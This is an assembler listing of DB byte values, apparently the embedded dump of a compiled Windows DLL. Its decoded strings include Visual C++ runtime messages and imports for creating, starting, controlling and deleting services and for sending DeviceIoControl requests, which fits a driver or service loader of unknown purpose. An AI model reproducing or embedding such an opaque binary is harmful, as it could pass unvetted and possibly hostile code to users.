DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,081H,0FEH,000H,000H,000H,000H,000H,000H,040H,0FEH,000H 000H,000H,000H,000H,000H,0B5H,003H,000H,000H,0C1H,0A3H,0DAH,0A3H,020H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,081H,0FEH,000H,000H,000H,000H,000H,000H 041H,0FEH,000H,000H,000H,000H,000H,000H,0B6H,003H,000H,000H,0CFH,0A2H,0E4H 0A2H,01AH,000H,0E5H,0A2H,0E8H,0A2H,05BH,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,081H,0FEH,000H,000H,000H 000H,000H,000H,040H,07EH,0A1H,0FEH,000H,000H,000H,000H,051H,005H,000H,000H 051H,0DAH,05EH,0DAH,020H,000H,05FH,0DAH,06AH,0DAH,032H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,081H,0D3H 0D8H,0DEH,0E0H,0F9H,000H,000H,031H,07EH,081H,0FEH,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,072H,075H,06EH,074H,069H,06DH,065H,020H 065H,072H,072H,06FH,072H,020H,000H,000H,00DH,00AH,000H,000H,054H,04CH,04FH 053H,053H,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H,000H,000H,053H,049H 04EH,047H,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H,000H,000H,000H,044H 04FH,04DH,041H,049H,04EH,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H,000H 052H,036H,030H,032H,037H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH 06FH,075H,067H,068H,020H,073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H 06CH,06FH,077H,069H,06FH,020H,069H,06EH,069H,074H,069H,061H,06CH,069H,07AH 061H,074H,069H,06FH,06EH,00DH,00AH,000H,000H,000H,000H,052H,036H,030H,032H 036H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H 020H,073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H,073H,074H,064H,069H 06FH,020H,069H,06EH,069H,074H,069H,061H,06CH,069H,07AH,061H,074H,069H,06FH 06EH,00DH,00AH,000H,000H,000H,000H,052H,036H,030H,032H,035H,00DH,00AH,02DH 020H,070H,075H,072H,065H,020H,076H,069H,072H,074H,075H,061H,06CH,020H,066H 075H,06EH,063H,074H,069H,06FH,06EH,020H,063H,061H,06CH,06CH,00DH,00AH,000H 000H,000H,052H,036H,030H,032H,034H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H 065H,06EH,06FH,075H,067H,068H,020H,073H,070H,061H,063H,065H,020H,066H,06FH 072H,020H,05FH,06FH,06EH,065H,078H,069H,074H,02FH,061H,074H,065H,078H,069H 074H,020H,074H,061H,062H,06CH,065H,00DH,00AH,000H,000H,000H,000H,052H,036H 030H,031H,039H,00DH,00AH,02DH,020H,075H,06EH,061H,062H,06CH,065H,020H,074H 06FH,020H,06FH,070H,065H,06EH,020H,063H,06FH,06EH,073H,06FH,06CH,065H,020H 064H,065H,076H,069H,063H,065H,00DH,00AH,000H,000H,000H,000H,052H,036H,030H 031H,038H,00DH,00AH,02DH,020H,075H,06EH,065H,078H,070H,065H,063H,074H,065H 064H,020H,068H,065H,061H,070H,020H,065H,072H,072H,06FH,072H,00DH,00AH,000H 000H,000H,000H,052H,036H,030H,031H,037H,00DH,00AH,02DH,020H,075H,06EH,065H 078H,070H,065H,063H,074H,065H,064H,020H,06DH,075H,06CH,074H,069H,074H,068H 072H,065H,061H,064H,020H,06CH,06FH,063H,06BH,020H,065H,072H,072H,06FH,072H 00DH,00AH,000H,000H,000H,000H,052H,036H,030H,031H,036H,00DH,00AH,02DH,020H 06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H,020H,073H,070H,061H,063H 065H,020H,066H,06FH,072H,020H,074H,068H,072H,065H,061H,064H,020H,064H,061H 074H,061H,00DH,00AH,000H,00DH,00AH,061H,062H,06EH,06FH,072H,06DH,061H,06CH 020H,070H,072H,06FH,067H,072H,061H,06DH,020H,074H,065H,072H,06DH,069H,06EH 061H,074H,069H,06FH,06EH,00DH,00AH,000H,000H,000H,000H,052H,036H,030H,030H 039H,00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H 020H,073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H,065H,06EH,076H,069H 072H,06FH,06EH,06DH,065H,06EH,074H,00DH,00AH,000H,052H,036H,030H,030H,038H 00DH,00AH,02DH,020H,06EH,06FH,074H,020H,065H,06EH,06FH,075H,067H,068H,020H 073H,070H,061H,063H,065H,020H,066H,06FH,072H,020H,061H,072H,067H,075H,06DH 065H,06EH,074H,073H,00DH,00AH,000H,000H,000H,052H,036H,030H,030H,032H,00DH 00AH,02DH,020H,066H,06CH,06FH,061H,074H,069H,06EH,067H,020H,070H,06FH,069H 06EH,074H,020H,06EH,06FH,074H,020H,06CH,06FH,061H,064H,065H,064H,00DH,00AH 000H,000H,000H,000H,000H,000H,000H,000H,002H,000H,000H,000H,05CH,055H,000H 010H,008H,000H,000H,000H,030H,055H,000H,010H,009H,000H,000H,000H,004H,055H 000H,010H,00AH,000H,000H,000H,0E0H,054H,000H,010H,010H,000H,000H,000H,0B4H 054H,000H,010H,011H,000H,000H,000H,084H,054H,000H,010H,012H,000H,000H,000H 060H,054H,000H,010H,013H,000H,000H,000H,034H,054H,000H,010H,018H,000H,000H 000H,0FCH,053H,000H,010H,019H,000H,000H,000H,0D4H,053H,000H,010H,01AH,000H 000H,000H,09CH,053H,000H,010H,01BH,000H,000H,000H,064H,053H,000H,010H,078H 000H,000H,000H,054H,053H,000H,010H,079H,000H,000H,000H,044H,053H,000H,010H 07AH,000H,000H,000H,034H,053H,000H,010H,0FCH,000H,000H,000H,030H,053H,000H 010H,0FFH,000H,000H,000H,020H,053H,000H,010H,000H,000H,000H,000H,04DH,069H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

063H,072H,06FH,073H,06FH,066H,074H,020H,056H,069H,073H,075H,061H,06CH,020H 043H,02BH,02BH,020H,052H,075H,06EH,074H,069H,06DH,065H,020H,04CH,069H,062H 072H,061H,072H,079H,000H,000H,000H,000H,00AH,00AH,000H,000H,052H,075H,06EH 074H,069H,06DH,065H,020H,045H,072H,072H,06FH,072H,021H,00AH,00AH,050H,072H 06FH,067H,072H,061H,06DH,03AH,020H,000H,000H,000H,02EH,02EH,02EH,000H,03CH 070H,072H,06FH,067H,072H,061H,06DH,020H,06EH,061H,06DH,065H,020H,075H,06EH 06BH,06EH,06FH,077H,06EH,03EH,000H,000H,000H,000H,000H,000H,0E0H,05FH,000H 010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0C8H 05FH,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 0F8H,05FH,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,010H,060H,000H,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,005H,000H,000H,0C0H,00BH,000H,000H,000H,000H,000H 000H,000H,01DH,000H,000H,0C0H,004H,000H,000H,000H,000H,000H,000H,000H,096H 000H,000H,0C0H,004H,000H,000H,000H,000H,000H,000H,000H,08DH,000H,000H,0C0H 008H,000H,000H,000H,000H,000H,000H,000H,08EH,000H,000H,0C0H,008H,000H,000H 000H,000H,000H,000H,000H,08FH,000H,000H,0C0H,008H,000H,000H,000H,000H,000H 000H,000H,090H,000H,000H,0C0H,008H,000H,000H,000H,000H,000H,000H,000H,091H 000H,000H,0C0H,008H,000H,000H,000H,000H,000H,000H,000H,092H,000H,000H,0C0H 008H,000H,000H,000H,000H,000H,000H,000H,093H,000H,000H,0C0H,008H,000H,000H 000H,000H,000H,000H,000H,003H,000H,000H,000H,007H,000H,000H,000H,078H,000H 000H,000H,00AH,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,047H,065H,074H,04CH,061H,073H,074H,041H,063H,074H,069H,076H,065H,050H 06FH,070H,075H,070H,000H,000H,047H,065H,074H,041H,063H,074H,069H,076H,065H 057H,069H,06EH,064H,06FH,077H,000H,04DH,065H,073H,073H,061H,067H,065H,042H 06FH,078H,041H,000H,075H,073H,065H,072H,033H,032H,02EH,064H,06CH,06CH,000H 000H,000H,000H,000H,000H,020H,0A4H,000H,010H,000H,000H,000H,000H,020H,0A4H 000H,010H,001H,001H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,002H,000H,000H,000H,001H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,002H,000H,000H,000H,002H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,00AH,000H,000H,000H,000H,000H,000H 000H,041H,073H,073H,065H,072H,074H,069H,06FH,06EH,020H,066H,061H,069H,06CH 065H,064H,03AH,020H,025H,073H,02CH,020H,066H,069H,06CH,065H,020H,025H,073H 02CH,020H,06CH,069H,06EH,065H,020H,025H,064H,00AH,000H,05CH,056H,000H,010H 0B0H,05AH,000H,010H,03CH,056H,000H,010H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,001H,000H 000H,000H,016H,000H,000H,000H,002H,000H,000H,000H,002H,000H,000H,000H,003H 000H,000H,000H,002H,000H,000H,000H,004H,000H,000H,000H,018H,000H,000H,000H 005H,000H,000H,000H,00DH,000H,000H,000H,006H,000H,000H,000H,009H,000H,000H 000H,007H,000H,000H,000H,00CH,000H,000H,000H,008H,000H,000H,000H,00CH,000H 000H,000H,009H,000H,000H,000H,00CH,000H,000H,000H,00AH,000H,000H,000H,007H 000H,000H,000H,00BH,000H,000H,000H,008H,000H,000H,000H,00CH,000H,000H,000H 016H,000H,000H,000H,00DH,000H,000H,000H,016H,000H,000H,000H,00FH,000H,000H 000H,002H,000H,000H,000H,010H,000H,000H,000H,00DH,000H,000H,000H,011H,000H 000H,000H,012H,000H,000H,000H,012H,000H,000H,000H,002H,000H,000H,000H,021H 000H,000H,000H,00DH,000H,000H,000H,035H,000H,000H,000H,002H,000H,000H,000H 041H,000H,000H,000H,00DH,000H,000H,000H,043H,000H,000H,000H,002H,000H,000H 000H,050H,000H,000H,000H,011H,000H,000H,000H,052H,000H,000H,000H,00DH,000H 000H,000H,053H,000H,000H,000H,00DH,000H,000H,000H,057H,000H,000H,000H,016H 000H,000H,000H,059H,000H,000H,000H,00BH,000H,000H,000H,06CH,000H,000H,000H 00DH,000H,000H,000H,06DH,000H,000H,000H,020H,000H,000H,000H,070H,000H,000H 000H,01CH,000H,000H,000H,072H,000H,000H,000H,009H,000H,000H,000H,006H,000H 000H,000H,016H,000H,000H,000H,080H,000H,000H,000H,00AH,000H,000H,000H,081H 000H,000H,000H,00AH,000H,000H,000H,082H,000H,000H,000H,009H,000H,000H,000H 083H,000H,000H,000H,016H,000H,000H,000H,084H,000H,000H,000H,00DH,000H,000H 000H,091H,000H,000H,000H,029H,000H,000H,000H,09EH,000H,000H,000H,00DH,000H 000H,000H,0A1H,000H,000H,000H,002H,000H,000H,000H,0A4H,000H,000H,000H,00BH 000H,000H,000H,0A7H,000H,000H,000H,00DH,000H,000H,000H,0B7H,000H,000H,000H 011H,000H,000H,000H,0CEH,000H,000H,000H,002H,000H,000H,000H,0D7H,000H,000H 000H,00BH,000H,000H,000H,018H,007H,000H,000H,00CH,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,028H,000H,06EH,000H,075H,000H,06CH,000H,06CH 000H,029H,000H,000H,000H,000H,000H,028H,06EH,075H,06CH,06CH,029H,000H,000H 080H,05CH,000H,010H,070H,05CH,000H,010H,0C0H,037H,000H,010H,0C0H,037H,000H 010H,0C0H,037H,000H,010H,0C0H,037H,000H,010H,0C0H,037H,000H,010H,0C0H,037H 000H,010H,0B2H,05CH,000H,010H,0B2H,05CH,000H,010H,000H,000H,020H,000H,020H 000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H 028H,000H,028H,000H,028H,000H,028H,000H,028H,000H,020H,000H,020H,000H,020H 000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H 020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H,000H,020H 000H,048H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H 010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,010H 000H,010H,000H,084H,000H,084H,000H,084H,000H,084H,000H,084H,000H,084H,000H 084H,000H,084H,000H,084H,000H,084H,000H,010H,000H,010H,000H,010H,000H,010H 000H,010H,000H,010H,000H,010H,000H,081H,000H,081H,000H,081H,000H,081H,000H 081H,000H,081H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H 000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H 001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,001H,000H,010H 000H,010H,000H,010H,000H,010H,000H,010H,000H,010H,000H,082H,000H,082H,000H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

082H,000H,082H,000H,082H,000H,082H,000H,002H,000H,002H,000H,002H,000H,002H 000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H 002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H,000H,002H 000H,002H,000H,010H,000H,010H,000H,010H,000H,010H,000H,020H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,001H,000H,000H,000H,02EH,000H,000H,000H,001H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,070H,0C0H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 04EH,0C2H,000H,000H,044H,0C1H,000H,000H,01CH,0C1H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,068H,0C2H,000H,000H,0F0H,0C1H,000H,000H,050H,0C0H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,0F0H,0C2H,000H,000H,024H 0C1H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,0E0H,0C2H,000H,000H,0CEH,0C2H,000H 000H,08AH,0C2H,000H,000H,074H,0C2H,000H,000H,0AEH,0C2H,000H,000H,0BEH,0C2H 000H,000H,09CH,0C2H,000H,000H,000H,000H,000H,000H,040H,0C2H,000H,000H,030H 0C2H,000H,000H,018H,0C2H,000H,000H,006H,0C2H,000H,000H,0B8H,0C3H,000H,000H 036H,0C4H,000H,000H,020H,0C4H,000H,000H,0FEH,0C2H,000H,000H,010H,0C3H,000H 000H,022H,0C3H,000H,000H,036H,0C3H,000H,000H,044H,0C3H,000H,000H,052H,0C3H 000H,000H,068H,0C3H,000H,000H,076H,0C3H,000H,000H,082H,0C3H,000H,000H,08CH 0C3H,000H,000H,09CH,0C3H,000H,000H,0AAH,0C3H,000H,000H,0F8H,0C1H,000H,000H 0C6H,0C3H,000H,000H,0D8H,0C3H,000H,000H,0E6H,0C3H,000H,000H,0F6H,0C3H,000H 000H,008H,0C4H,000H,000H,068H,0C5H,000H,000H,078H,0C5H,000H,000H,042H,0C4H 000H,000H,04CH,0C4H,000H,000H,058H,0C4H,000H,000H,072H,0C4H,000H,000H,08AH 0C4H,000H,000H,0A4H,0C4H,000H,000H,0BEH,0C4H,000H,000H,0D4H,0C4H,000H,000H 0E0H,0C4H,000H,000H,0FCH,0C4H,000H,000H,014H,0C5H,000H,000H,02CH,0C5H,000H 000H,038H,0C5H,000H,000H,044H,0C5H,000H,000H,054H,0C5H,000H,000H,000H,000H 000H,000H,05CH,0C2H,000H,000H,000H,000H,000H,000H,0E0H,0C2H,000H,000H,0CEH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

0C2H,000H,000H,08AH,0C2H,000H,000H,074H,0C2H,000H,000H,0AEH,0C2H,000H,000H 0BEH,0C2H,000H,000H,09CH,0C2H,000H,000H,000H,000H,000H,000H,040H,0C2H,000H 000H,030H,0C2H,000H,000H,018H,0C2H,000H,000H,006H,0C2H,000H,000H,0B8H,0C3H 000H,000H,036H,0C4H,000H,000H,020H,0C4H,000H,000H,0FEH,0C2H,000H,000H,010H 0C3H,000H,000H,022H,0C3H,000H,000H,036H,0C3H,000H,000H,044H,0C3H,000H,000H 052H,0C3H,000H,000H,068H,0C3H,000H,000H,076H,0C3H,000H,000H,082H,0C3H,000H 000H,08CH,0C3H,000H,000H,09CH,0C3H,000H,000H,0AAH,0C3H,000H,000H,0F8H,0C1H 000H,000H,0C6H,0C3H,000H,000H,0D8H,0C3H,000H,000H,0E6H,0C3H,000H,000H,0F6H 0C3H,000H,000H,008H,0C4H,000H,000H,068H,0C5H,000H,000H,078H,0C5H,000H,000H 042H,0C4H,000H,000H,04CH,0C4H,000H,000H,058H,0C4H,000H,000H,072H,0C4H,000H 000H,08AH,0C4H,000H,000H,0A4H,0C4H,000H,000H,0BEH,0C4H,000H,000H,0D4H,0C4H 000H,000H,0E0H,0C4H,000H,000H,0FCH,0C4H,000H,000H,014H,0C5H,000H,000H,02CH 0C5H,000H,000H,038H,0C5H,000H,000H,044H,0C5H,000H,000H,054H,0C5H,000H,000H 000H,000H,000H,000H,05CH,0C2H,000H,000H,000H,000H,000H,000H,016H,000H,043H 06CH,06FH,073H,065H,048H,061H,06EH,064H,06CH,065H,000H,047H,000H,044H,065H 076H,069H,063H,065H,049H,06FH,043H,06FH,06EH,074H,072H,06FH,06CH,000H,0C2H 000H,047H,065H,074H,043H,075H,072H,072H,065H,06EH,074H,044H,069H,072H,065H 063H,074H,06FH,072H,079H,041H,000H,000H,0E1H,000H,047H,065H,074H,04CH,061H 073H,074H,045H,072H,072H,06FH,072H,000H,000H,02BH,000H,043H,072H,065H,061H 074H,065H,046H,069H,06CH,065H,041H,000H,04BH,045H,052H,04EH,045H,04CH,033H 032H,02EH,064H,06CH,06CH,000H,000H,049H,002H,077H,073H,070H,072H,069H,06EH 074H,066H,041H,000H,055H,053H,045H,052H,033H,032H,02EH,064H,06CH,06CH,000H 000H,016H,000H,043H,06CH,06FH,073H,065H,053H,065H,072H,076H,069H,063H,065H 048H,061H,06EH,064H,06CH,065H,000H,000H,0B1H,000H,04FH,070H,065H,06EH,053H 043H,04DH,061H,06EH,061H,067H,065H,072H,041H,000H,000H,01CH,000H,043H,072H 065H,061H,074H,065H,053H,065H,072H,076H,069H,063H,065H,041H,000H,000H,006H 001H,053H,074H,061H,072H,074H,053H,065H,072H,076H,069H,063H,065H,041H,000H 0B3H,000H,04FH,070H,065H,06EH,053H,065H,072H,076H,069H,063H,065H,041H,000H 000H,017H,000H,043H,06FH,06EH,074H,072H,06FH,06CH,053H,065H,072H,076H,069H 063H,065H,000H,000H,01FH,000H,044H,065H,06CH,065H,074H,065H,053H,065H,072H 076H,069H,063H,065H,000H,041H,044H,056H,041H,050H,049H,033H,032H,02EH,064H 06CH,06CH,000H,000H,09FH,000H,047H,065H,074H,043H,06FH,06DH,06DH,061H,06EH 064H,04CH,069H,06EH,065H,041H,000H,003H,001H,047H,065H,074H,050H,072H,06FH 063H,041H,064H,064H,072H,065H,073H,073H,000H,000H,0EBH,000H,047H,065H,074H 04DH,06FH,064H,075H,06CH,065H,048H,061H,06EH,064H,06CH,065H,041H,000H,000H 037H,001H,047H,065H,074H,056H,065H,072H,073H,069H,06FH,06EH,000H,000H,062H 000H,045H,078H,069H,074H,050H,072H,06FH,063H,065H,073H,073H,000H,0C7H,000H 047H,065H,074H,043H,075H,072H,072H,065H,06EH,074H,054H,068H,072H,065H,061H 064H,049H,064H,000H,000H,022H,002H,054H,06CH,073H,053H,065H,074H,056H,061H 06CH,075H,065H,000H,01FH,002H,054H,06CH,073H,041H,06CH,06CH,06FH,063H,000H 000H,020H,002H,054H,06CH,073H,046H,072H,065H,065H,000H,0FDH,001H,053H,065H 074H,04CH,061H,073H,074H,045H,072H,072H,06FH,072H,000H,000H,021H,002H,054H 06CH,073H,047H,065H,074H,056H,061H,06CH,075H,065H,000H,055H,001H,048H,065H 061H,070H,043H,072H,065H,061H,074H,065H,000H,000H,057H,001H,048H,065H,061H 070H,044H,065H,073H,074H,072H,06FH,079H,000H,0FAH,001H,053H,065H,074H,048H 061H,06EH,064H,06CH,065H,043H,06FH,075H,06EH,074H,000H,000H,0DCH,000H,047H 065H,074H,046H,069H,06CH,065H,054H,079H,070H,065H,000H,016H,001H,047H,065H 074H,053H,074H,064H,048H,061H,06EH,064H,06CH,065H,000H,000H,014H,001H,047H 